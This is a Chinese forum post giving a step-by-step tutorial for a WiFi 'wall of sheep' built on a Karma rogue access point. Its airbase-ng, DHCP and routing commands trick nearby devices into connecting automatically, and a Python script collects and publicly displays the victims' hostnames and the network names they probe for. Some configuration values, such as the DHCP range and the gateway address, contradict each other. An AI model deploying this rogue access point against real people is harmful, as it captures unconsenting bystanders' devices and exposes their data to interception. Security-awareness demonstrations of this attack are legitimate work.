电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2868 人浏览分享

WIFI绵羊墙搭建

[复制链接]
2868 0
#0x1 内容简介

本片文章是利用karma攻击搭建一个wifi绵羊墙,将自动链接上来的用户的主机名和被动广播出去
的ssid的名称展示在屏幕上,我们先了解一下karma攻击的原理
Karma是一种通过伪造虚假响应包(Probe Response)来回应STA(Wireless station,手机、平板等
客户端等)探测(Probe Request)的攻击方式,让客户端误认为范围内存在曾经连接过的WiFi热点从
而骗取客户端的连接。

简单的理解就是,你的设备会保存你链接过的wifi的记录,例如你链接过 sectoolkit-wifi 这个ssid,当你打开
wifi的时候,你的设备会自动广播附近有没有 sectoolkit-wifi ,一般情况下只有叫这个ssid的路由器才应答ka
rma就是将所有寻味是否是xxxwifi的请求全部应答,告诉用户我就是xxxwifi,然后用户 就会自动链接上去。

#0x2 准备过程

我们需要以下的东西:

1. 一块无线网卡,8187最佳
2. 一个Linux系统,(如:kali)
需要用到的软件

1. isc-dhcp-server
2. aircrack-ng
3. dnschef
4. ethtool
在kali下dnschef与aircrack-ng是自带的,其他的都可以通过apt-get进行安装

  1. apt-get install ethtool isc-dhcp-server
复制代码


开启karma的方法很简单,只需要执行

  1. airmon-ng check kill
  2. airmon-ng start wlan0
  3. airbase-ng -P -C 30 -v mon0
复制代码


untitled.png


运行之后你就可以看到有很多ssid的探测请求会发送过来

但是这些客户端会链接不上我们的wifi,因为他们链接的时候会要求从dhcp服务器获取ip但是
我们没有dhcp服务器,所以我们需要配置一个dhcp服务器,
首先开启了karma之后 airbase会创建一个叫at0的网卡来和客户端的机器通信
我们需要先给at0分配好ip

  1. ifconfig at0 up
  2. ifconfig at0 192.168.188.1 netmask 255.255.255.0
  3. route add -net 192.168.188.0 netmask 255.255.255.0 gw 192.168.199.1
复制代码


然后编辑/etc/dhcp/dhcpd.conf 文件,在末尾加上

  1. subnet 192.168.188.0 netmask 255.255.255.0
  2. {
  3. range 192.168.3.2 192.168.188.250;
  4. option domain-name-servers 192.168.188.1;
  5. option routers 192.168.188.1;
  6. }
复制代码


然后在编辑/etc/default/isc-dhcp-server文件,修改
       
  1. INTERFACES=””
复制代码




  1. INTERFACES=”at0″
复制代码


#0x3 绵羊墙的搭建

既然是绵羊墙那一定需要一个展示的过程
那么我们就需要得到如下内容:

1. airbase得到的ssid的名称
2. 已经链接上的客户主机名
airbase的结果通过nohup命令把输出内容重定向到一个文件即可,客户端的主机名可以通过
查看/var/lib/dhcp/dhcpd.leases 得知
通过以上内容我们可以先执行

  1. echo 1 > /proc/sys/net/ipv4/ip_forward
  2. airmon-ng check kill
  3. airmon-ng start wlan0
  4. nohup airbase-ng -P -C 30 -v mon0 &
  5. ifconfig at0 up
  6. ifconfig at0 192.168.188.1 netmask 255.255.255.0
  7. route add -net 192.168.188.0 netmask 255.255.255.0 gw 192.168.188.1
复制代码


然后写一个简单的脚本
进行获取输出的内容,脚本大意是读取airbase获取到的ssid和已经链接上的客户主机名

然后写入到俩个json文件,并使用SimpleHTTPServer开放一个http端口用来访问展示内容的html
我这边还写了一个webUI作为内容的展示

  1. import SimpleHTTPServer
  2. import SocketServer
  3. import threading
  4. import os
  5. import json
  6. from time import sleep
  7. class back(threading.Thread):
  8.         def __init__(self):
  9.                 threading.Thread.__init__(self)
  10.         def cmd(self,c):
  11.                 c=os.popen(c).read()
  12.                 return c
  13.         def run(self):
  14.                 while True:
  15.                         cmd=self.cmd("cat ../nohup.out |grep -|awk -F 'from ' '{prin
  16. t$2}'|sort |uniq ").replace('"','').split('\n')
  17.                         nohup=''
  18.                         self.cmd("echo > ../nohup.out  ")
  19.                         x=0
  20.                         for i in cmd:
  21.                                 j='  "%d":"%s",' %(x,i)                               
  22.                                 nohup+= j
  23.                                 x+=1
  24.                                
  25.                         nohup='{%s}'%nohup[:len(nohup)-1]
  26.                         cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep hos
  27. t|awk '{print$2}' ").replace('"','').split('\n')
  28.                         x=0
  29.                         dhcp=''
  30.                         for i in cmd_h:
  31.                                 j='  "%d":"%s",' %(x,i)                               
  32.                                 dhcp+= j
  33.                                 x+=1
  34.                         dhcp='{%s}'%dhcp[:len(dhcp)-1]
  35.                         open('d.json','w').write(dhcp)
  36.                         open('o.json','w').write(nohup)
  37.                         print dhcp,nohup
  38.                         print "reading .."
  39.                         sleep(5)
  40. back().start()

  41. PORT = 8009
  42. Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
  43. httpd = SocketServer.TCPServer(("", PORT), Handler)

  44. print "serving at port", PORT
  45. httpd.serve_forever()
复制代码


unt222itled-1024x421.png


本文所有源码都在
https://github.com/code-scan/wifisheep

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.